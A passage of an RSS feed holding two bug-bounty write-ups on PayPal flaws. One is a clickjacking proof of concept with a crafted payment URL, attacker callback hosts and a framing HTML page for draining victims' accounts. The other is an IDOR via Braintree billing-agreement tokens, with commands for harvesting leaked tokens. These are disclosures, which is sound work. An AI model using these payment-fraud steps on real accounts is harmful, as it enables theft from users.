should accept only billingAgreementToken. but during my deep testing, I found that we can pass another tokens type, and this leads to stealing money from victim&#39;s PayPal account.</p><p>as you can see in the picture, the attacker is able to load a sensitive <strong>paypal.com</strong> endpoint in an Iframe, and when the attacker clicks on “near to click here” He will buy something.</p><p><strong>of course, the victim should be logged in in te the browser</strong></p><p>Proof 0f C0ncept</p><p>&quot;https://www.paypal.com/cgi-bin/webscr?address1=sectesting&amp;address2=sectesting02&amp;address_override=true&amp;amount_1=1&amp;business=&lt;attacker@gmail.com&gt;&amp;cancel_return=https://xxxxxx.burpcollaborator.net/cancel_return&amp;city=barika&amp;cmd=_cart&amp;country=DZ&amp;currency_code=USD&amp;email=&lt;anything&gt;@gmail.com&amp;first_name=attacker&amp;invoice=marketplace133703&amp;item_name_1=attacker&amp;item_number_1=133788802&amp;last_name=attacker&amp;notify_url=https://xxxxxx.burpcollaborator.net/notify_url&amp;quantity_1=1&amp;return=https://xxxxxx.burpcollaborator.net/return&amp;state=05&amp;upload=1&amp;zip=1337&quot;</p><ol><li>In the link above change the business to attacker Paypal email, and return &amp; notify_url to your host to receive the HTTP requests. and amount_1 <strong>how much money you want to steal from the victim&#39;s account</strong> !!.</li></ol><p>and You can change the <strong>first/last name</strong>, and the address to your own info, and when you do this, this Billing full name/address will register in the victim account !.</p><p>2 . now send GET request using CURL, and grep the token value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*tCW-WqqIMFnzQkiztq2_aA.png" /></figure><p>3. upload this poc.html On your host and put your token In the parameter <strong>ba_token.</strong></p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;POC&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>   &lt;center&gt; &lt;img src=&quot;<a href="https://i.ibb.co/bWqXsQT/Mnanauk-2020-Chef-Mnanauk.jpg">https://i.ibb.co/bWqXsQT/Mnanauk-2020-Chef-Mnanauk.jpg</a>&quot;&gt;&lt;/center&gt; <br>&lt;style&gt;<br>iframe { <br>  width: 1920px;<br>  height: 1080px;<br>  position: absolute;<br>  top:0; left:-20px;<br>  opacity: 1.01; <br>  z-index: 1;<br>}<br>&lt;/style&gt;<br>&lt;iframe src=&quot;<a href="https://www.paypal.com/agreements/approve?nolegacy=1&amp;ba_token=">https://www.paypal.com/agreements/approve?nolegacy=1&amp;ba_token=</a>&lt;TOKEN&gt;&quot;&gt;&lt;/iframe&gt;<br>&lt;button style=&quot;position: fixed; display: inline; z-index: 10; left: 701px; top: 520px;&quot;&gt;Click here  to win 1337$ =&gt; &lt;/button&gt;</pre><pre>&lt;/body&gt;<br>&lt;/html&gt;</pre><p><strong>Note :</strong> the opacity should be 0 in a real attack, you can change it.</p><p>Now Login to your PayPal in the browser, and open the HTML page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tvfjrf6byg_DPtsN9N8-Dw.jpeg" /></figure><p>as you Can see, I’m not the best designer, actually, I know nothing about CSS , but this POC is enough I think !.</p><p>you should click where you should click hahaha, and you will send money to the attacker PayPal. also, the attacker address will be injected as the default billing.</p><p>here In <a href="https://portswigger.net/burp/documentation/collaborator#:~:text=What%20is%20Burp%20Collaborator%3F,system%20when%20successful%20injection%20occurs.">Burp Collaborator</a> we can see full information for the victim&#39;s account when he clicks on the vulnerable page :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0tDaZ4niRixLO1AQzqbNTQ.png" /></figure><p>Also, another security issue, is the attacker injected <strong>billing address</strong> will be the default one on the victim&#39;s PayPal account :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*jOJS0x6gWPAli4KL1Sf3qw.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F0h85N5Ne_ac%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D0h85N5Ne_ac&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F0h85N5Ne_ac%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/cbc616e250667b6a7c3dc6ae21b1e566/href">https://medium.com/media/cbc616e250667b6a7c3dc6ae21b1e566/href</a></iframe><h3>steal money from user account part 2</h3><p>there are online services that let you add balance using Paypal to your account for example steam! . I can use the same exploit and force the user to add money to my account!</p><p>or I can exploit this bug and let the victim create/pay Netflix account for me !.</p><p>but I used namecheap.com for this example</p><h4>steps</h4><p>1- open <a href="https://ap.www.namecheap.com/Profile/Billing">https://ap.www.namecheap.com/Profile/Billing</a></p><p>2- click Topup</p><p>3- chose how much you want to steal $ from the victim account !</p><p>4- click check out with PayPal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kwZ3Cnh0VHAHua0WyLUnvQ.jpeg" /></figure><p>5- now copy the token and add it to the poc.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*38s0sOC-1wNzsf5YI6YD1A.jpeg" /></figure><p>6- open the HTML page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mzzRXWJGwNT9c4nxnq8Vcw.jpeg" /></figure><p>7- now when the victim clicks on “click here” he will pay using his payment method that is linked to his Paypal account.</p><p>Now you have given permission to Namecheap to take a certain balance on your Paypal account, which will go to the attacker’s account on Namecheap</p><p>8- as an attacker opens https://ap.www.namecheap.com/profile/billing/topup/paypal/submit?&amp;token=&lt;token&gt; and you will be able to add the money to your Namecheap account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3f8MC7nCbd2D868SIPW6-Q.jpeg" /></figure><h4>video POC :</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FOPAJ049YZIs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DOPAJ049YZIs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FOPAJ049YZIs%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/434091d6aef062b0087d4b836f9cedc3/href">https://medium.com/media/434091d6aef062b0087d4b836f9cedc3/href</a></iframe><h3>200k$ bounty rewarded!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*QfUrar6f_CVPxlccFpSTnA.png" /></figure><p><strong>sorry for the Clickbait, but this is was HackerOne triage response :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0dyOQoGYRAQt6YAXpVSLEg.jpeg" /></figure><h3>update: 17/06/2022</h3><p>PayPal Bug Bounty Team decided to accept the report &amp; fix this issue and awarded me 3200$ :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E1C_G4-yK9y4Z9YOEMyZJA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2b358c1607cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PayPal IDOR via billing Agreement Token (closed Informative,  payment fraud)]]></title>
            <link>https://medium.com/@h4x0r_dz/paypal-idor-via-billing-agreement-token-closed-informative-payment-fraud-3245202fab38?source=rss-ddfff40fe2------2</link>
            <guid isPermaLink="false">https://medium.com/p/3245202fab38</guid>
            <category><![CDATA[paypal]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[h4x0r_dz]]></dc:creator>
            <pubDate>Sat, 21 May 2022 10:09:57 GMT</pubDate>
            <atom:updated>2022-06-19T14:23:12.508Z</atom:updated>
            <content:encoded><![CDATA[<h3>PayPal IDOR via billing Agreement Token (closed Informative, payment fraud)</h3><h3>Summary:</h3><p>Hello everyone, in this article I will show you an <a href="https://portswigger.net/web-security/access-control/idor">Insecure direct object references (IDOR)</a> that I found on PayPal 7 months Ago where an attacker can expose PayPal users data: billing address,email, nonce code using billing Agreement Token.</p><p>A critical security issue in api.braintreegateway.com where I was able to create a PayPal transaction just by knowing billing Agreement Token of the users. the issue is That, this endpoint api.braintreegateway.com/merchants/&lt;ID&gt;/client_api/v1/payment_methods/paypal_accounts should be authenticated by the merchant. but the user can send post requests to this endpoint. and generate Payment Method Nonces.</p><p>I was reading the documents about Payment Method Nonces,</p><blockquote>A payment method nonce is a secure, one-time-use reference to payment information. It’s the key element that allows your server to communicate sensitive payment information to Braintree without ever touching the raw data.</blockquote><p>source: <a href="https://developer.paypal.com/braintree/docs/guides/payment-method-nonces">https://developer.paypal.com/braintree/docs/guides/payment-method-nonces</a></p><p>and I understand that, if I am able to get valid billing Agreement Token of another user I can generate a new Nonces code &gt; make Payment!</p><h3>proof of concept</h3><p>I Reproduced this bug In a real merchant that uses Braintree which is grammarly.com. also,</p><ol><li>go to <a href="https://www.grammarly.com/upgrade">https://www.grammarly.com/upgrade</a> and log in with your account</li><li>Choose Your Plan, and select Paypal as the payment method, now make an intercept on</li><li>click on Paypal checkout, then accept the payment.</li><li>when you come to this request, drop it, to cancel the payment (And this way you won’t have to pay anything to Grammarly :’.</li></ol><pre>POST /api/v1/subscribe HTTP/1.1<br>Host: subscription.grammarly.com<br>Connection: close<br>Content-Length: 135<br>Cookie: &lt;&gt;</pre><pre>nonce=&lt;nonce&gt;&amp;planId=1005&amp;sessionId=&lt;sessionId&gt;&amp;isTaxable=false&amp;billingCountryCode=US</pre><p>you can see Grammarly is use Payment Method Nonces and this Nonce can be generated in the unauthenticated endpoint.<br>back to burp history, and find this endpoint:</p><pre><strong>https://api.braintreegateway.com/merchants/68r2vzdxyjwst8d7/client_api/v1/payment_methods/paypal_accounts</strong></pre><p>send it to the repeater.</p><p>now to confirm the bug: open the victim Paypal account, repeat the same steps, and copy the <strong>billingAgreementTokenfrom </strong>victim account.</p><p>now change the <strong>billingAgreementToken </strong>in <strong>api.braintreegateway.com/merchants/68r2vzdxyjwst8d7/client_api/v1/payment_methods/paypal_accounts</strong> to the victim token.</p><p>note: <strong>68r2vzdxyjwst8d7 is </strong>Grammarly public client ID .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dv2m4Tw4eG6DoSOatnMm1w.png" /></figure><p>in the response, you will find that you are able to generate Nonces codes using <strong>billing Agreement Token</strong> for the victim. and no specific authentication is needed.</p><h4>how an attacker can get the billingAgreementToken for other users?</h4><p>now If you ask, how an attacker can get valid billingAgreementToken ! well there are tons of ways :</p><h4>## 1. Wayback Machine</h4><p>you can use these tools :</p><ul><li><a href="https://github.com/tomnomnom/waybackurls">GitHub - tomnomnom/waybackurls: Fetch all the URLs that the Wayback Machine knows about for a domain</a></li><li><a href="https://github.com/lc/gau">GitHub - lc/gau: Fetch known URLs from AlienVault&#39;s Open Threat Exchange, the Wayback Machine, and Common Crawl.</a></li></ul><p><a href="https://web.archive.org/web/*/paypal.com/">https://web.archive.org/web/*/paypal.com/</a>*</p><p>gau tool resultes : commend : gau paypal.com | grep &quot;ba_token&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LTKefCgSe1MPLX0W2C2o3w.png" /></figure><p>and as you can see there are more soo many leaked <strong>billingAgreementToken </strong>in wayback machine. and this is because the billingAgreementToken is a public token :).</p><p>The next step for the attacker is to find the valid merchants that can accept one of these <strong>billingAgreementToken </strong>for example if one of these tokens is used in Grammarly, the attacker send the post request: <strong>https://api.braintreegateway.com/merchants/68r2vzdxyjwst8d7/client_api/v1/payment_methods/paypal_accounts</strong></p><p>and in the response he will receive the user Paypal information, although the attacker needs to find the right merchants id and test all the tokens.</p><p>and this step is possible 100% , how many companies use Braintree Gateway? 1000 or 99999? The number is very limited :) .</p><h4>2. google dork.</h4><p>and because the billingAgreementToken is passed in GET request, you can find some of them on google using this dork , There isn&#39;t much :( .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*egXlIpH6MSz7kTFXvulBsw.png" /></figure><h4>3. laked in 3rd party</h4><p>also I found that the billingAgreementToken is leaked to Third-party for example Google Analytics</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VFIkCojpKDwtguxS98H0Lg.png" /></figure><h3>the Impact</h3><p>missing authentication In sansative endpint , an attacker can expose payapl user data : billing Address,email,nonce code using billing Agreement Token.</p><p>also this endpoint api.braintreegateway.com/merchants/&lt;ID&gt;/client_api/v1/payment_methods/paypal_accounts used to generate a valid Nonce code, and this code can be used to make a payment to the merchant.</p><p>an attacker can make payments from Paypal victim&#39;s accounts.</p><p>HackerOne triage response :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*77J-kSzE749V1OJVKDxDHw.jpeg" /></figure><p>for me , I Think this endpoint</p><pre>https://api.braintreegateway.com/merchants/&lt;ID&gt;/client_api/v1/payment_methods/paypal_accounts</pre><p>must be authenticated, the only ones who should have access to this endpoint should be the merchants using his API keys because there are so many authentication endpoints on <strong>api.braintreegateway.com</strong> and this one should be the same.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3245202fab38" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>